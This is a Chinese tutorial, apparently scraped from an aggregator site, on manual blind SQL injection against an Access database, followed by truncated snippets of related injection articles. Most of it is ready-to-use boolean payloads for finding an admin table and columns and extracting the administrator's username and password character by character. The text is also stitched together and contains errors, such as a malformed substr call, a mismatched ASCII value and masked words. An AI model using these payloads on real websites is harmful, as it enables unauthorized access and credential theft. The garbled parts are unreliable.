一、出現注入點的原因:程式設計師在編寫**時沒有對使用者輸入的字元進行特殊處理。導致使用者輸入的特殊字元附帶在引數中直接與資料庫進行互動。
二、注入過程
2、判斷一下資料庫中的表
and (select count(*) from admin)<>0返回正常。說明存在admin表。如果返回錯誤,可將admin改為username、manage等常用表名繼續猜解、
3、判斷一下該**有幾個管理員。
and (select count(*) from admin)=1 返回正常說明只有乙個管理員
4、已知表的前提下,判斷表中字段結構。
and (select count(name) from admin)>=0 返回正常,說明存在name欄位
and (select count(pass) from admin)>=0 返回錯誤,說明不存在pass欄位
5、採用ascii碼折半猜解管理員賬號和密碼:
判斷管理員賬號的長度:
and (select count(*) from admin where length(name)>=5)=1
//*length()函式用於求字串長度,此處用來猜解使用者名稱的長度和5做比較,猜測使用者名稱是否由5個字元組成
判斷管理員賬號的值:
and (select count(*) from admin where ascii(substr(name,1.1))>=97)=1
//*substr()函式用於擷取字串,ascii()函式用於獲取字元的ascii碼、此處的意思是擷取name欄位的第乙個字元,獲取它的ascii碼值,查詢ascii碼表可知94
相同方法猜解密碼
and (select count(*) from admin where length(pwd)>=8)=1,返回正常,即密碼長度為8,此時可以判斷密碼應該為明文
and (select count(*) from admin where ascii(substr(pwd,2,1))>=100)=1,返回正常,為字元d
......重複操作......
and (select count(*) from admin where ascii(substr(pwd,8,1))>=56)=1,返回正常,為數字8
and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1,返回正常,為字元a
SQL手工注入MongoDB資料庫
mongodb語法跟其它資料庫有所區別 具體參考 墨者靶場 sql手工注入漏洞測試 mongodb資料庫 題目 給出了列名 如果語句這樣寫 new list.php?id 1 order by 2 接收db.notice.findone return data 並沒有閉合,注入語句無法生效 想辦法閉...
SQL注入原理 手工注入access資料庫
一 target sql注入原理 學習手工注入過程 二 實驗原理 通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的的查詢字串,最終達到欺騙伺服器執行惡意的sql命令 1 在結尾的鏈結中依次新增 和 and 1 1 和 and 1 2 判斷 是否存在注入點 2 新增語句 and exis...
SQL注入原理 手工注入access資料庫
sql注入原理 手工注入access資料庫 sql注入是通過將sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意sql指令的目的。1.判斷 是否有注入點。在以asp?id xx 任意數字 結尾的連線依次新增 若以上結果顯示 資料庫出錯 正常顯示 資料庫出錯 ...